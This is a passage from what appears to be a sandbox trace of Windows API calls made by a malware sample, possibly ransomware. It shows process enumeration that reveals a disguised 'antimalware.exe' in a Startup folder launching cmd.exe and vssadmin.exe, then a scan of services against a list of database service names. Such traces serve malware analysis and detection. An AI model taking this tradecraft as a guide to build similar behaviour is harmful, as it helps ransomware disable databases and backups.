	[0158.672] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.673] lstrlenW (lpString="svchost.exe") returned 11
	[0158.673] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.674] lstrlenW (lpString="svchost.exe") returned 11
	[0158.674] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.675] lstrlenW (lpString="svchost.exe") returned 11
	[0158.963] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.989] lstrlenW (lpString="svchost.exe") returned 11
	[0158.989] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.990] lstrlenW (lpString="svchost.exe") returned 11
	[0158.990] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.991] lstrlenW (lpString="svchost.exe") returned 11
	[0158.991] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.992] lstrlenW (lpString="svchost.exe") returned 11
	[0158.992] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.994] lstrlenW (lpString="svchost.exe") returned 11
	[0158.994] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0158.995] lstrlenW (lpString="spoolsv.exe") returned 11
	[0158.995] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.996] lstrlenW (lpString="svchost.exe") returned 11
	[0158.996] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0158.997] lstrlenW (lpString="audiodg.exe") returned 11
	[0158.997] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0158.998] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0158.998] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0158.999] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0158.999] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0159.000] lstrlenW (lpString="sihost.exe") returned 10
	[0159.000] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0159.001] lstrlenW (lpString="Memory Compression") returned 18
	[0159.001] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.002] lstrlenW (lpString="svchost.exe") returned 11
	[0159.002] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0159.003] lstrlenW (lpString="taskhostw.exe") returned 13
	[0159.003] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0159.005] lstrlenW (lpString="msoia.exe") returned 9
	[0159.005] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0159.005] lstrlenW (lpString="taskhostw.exe") returned 13
	[0159.005] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0159.006] lstrlenW (lpString="explorer.exe") returned 12
	[0159.006] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0159.007] lstrlenW (lpString="SearchUI.exe") returned 12
	[0159.007] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0159.008] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0159.008] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0159.009] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0159.009] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0159.010] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0159.010] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0159.011] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0159.011] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0159.012] lstrlenW (lpString="cmd.exe") returned 7
	[0159.012] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0159.013] lstrlenW (lpString="conhost.exe") returned 11
	[0159.013] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0159.014] lstrlenW (lpString="consent.exe") returned 11
	[0159.014] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0159.015] lstrlenW (lpString="vssadmin.exe") returned 12
	[0159.015] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0159.016] CloseHandle (hObject=0x38c) returned 1
	[0159.016] Sleep (dwMilliseconds=0x1f4) 
	[0160.246] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b02c8
	[0160.246] EnumServicesStatusExW (in: hSCManager=0x45b02c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0160.247] GetLastError () returned 0xea
	[0160.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4642fd8
	[0160.247] EnumServicesStatusExW (in: hSCManager=0x45b02c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4642fd8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4642fd8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0160.248] CloseServiceHandle (hSCObject=0x45b02c8) returned 1
	[0160.249] lstrlenW (lpString="Appinfo") returned 7
	[0160.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0160.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0160.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0160.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0160.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0160.249] lstrlenW (lpString="AppXSvc") returned 7
	[0160.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0160.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0160.249] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0160.249] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0160.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0160.249] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0160.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0160.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0160.249] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0160.249] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0160.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0160.250] lstrlenW (lpString="Audiosrv") returned 8
	[0160.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0160.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0160.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0160.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0160.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0160.250] lstrlenW (lpString="BFE") returned 3
	[0160.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0160.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0160.250] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0160.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0160.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0160.250] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0160.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0160.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0160.250] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0160.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0160.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0160.250] lstrlenW (lpString="CDPSvc") returned 6
	[0160.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0160.251] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0160.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0160.251] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0160.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0160.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0160.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0160.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0160.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0160.251] lstrlenW (lpString="CryptSvc") returned 8
	[0160.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0160.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0160.252] lstrlenW (lpString="DcomLaunch") returned 10
	[0160.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0160.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0160.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0160.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0160.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0160.252] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0160.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0160.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0160.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0160.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0160.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0160.252] lstrlenW (lpString="Dhcp") returned 4
	[0160.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0160.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0160.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0160.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0160.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0160.252] lstrlenW (lpString="Dnscache") returned 8
	[0160.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0160.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0160.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0160.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0160.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0160.255] lstrlenW (lpString="DPS") returned 3
	[0160.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0160.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0160.255] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0160.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0160.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0160.256] lstrlenW (lpString="DusmSvc") returned 7
	[0160.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0160.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0160.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0160.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0160.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0160.256] lstrlenW (lpString="EventLog") returned 8
	[0160.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0160.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0160.256] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0160.256] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0160.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0160.256] lstrlenW (lpString="EventSystem") returned 11
	[0160.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0160.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0160.256] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0160.256] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0160.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0160.256] lstrlenW (lpString="FontCache") returned 9
	[0160.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0160.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0160.257] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0160.257] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0160.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0160.257] lstrlenW (lpString="gpsvc") returned 5
	[0160.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0160.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0160.257] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0160.257] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0160.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0160.460] lstrlenW (lpString="iphlpsvc") returned 8
	[0160.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0160.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0160.461] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0160.461] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0160.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0160.461] lstrlenW (lpString="KeyIso") returned 6
	[0160.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0160.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0160.461] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0160.461] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0160.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0160.461] lstrlenW (lpString="LanmanServer") returned 12
	[0160.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0160.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0160.461] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0160.461] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0160.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0160.461] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0160.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0160.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0160.461] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0160.461] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0160.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0160.462] lstrlenW (lpString="lfsvc") returned 5
	[0160.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0160.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0160.462] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0160.462] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0160.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0160.462] lstrlenW (lpString="lmhosts") returned 7
	[0160.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0160.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0160.462] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0160.462] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0160.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0160.462] lstrlenW (lpString="LSM") returned 3
	[0160.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0160.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0160.462] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0160.462] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0160.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0160.462] lstrlenW (lpString="MpsSvc") returned 6
	[0160.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0160.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0160.462] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0160.462] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0160.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0160.462] lstrlenW (lpString="NcbService") returned 10
	[0160.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0160.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
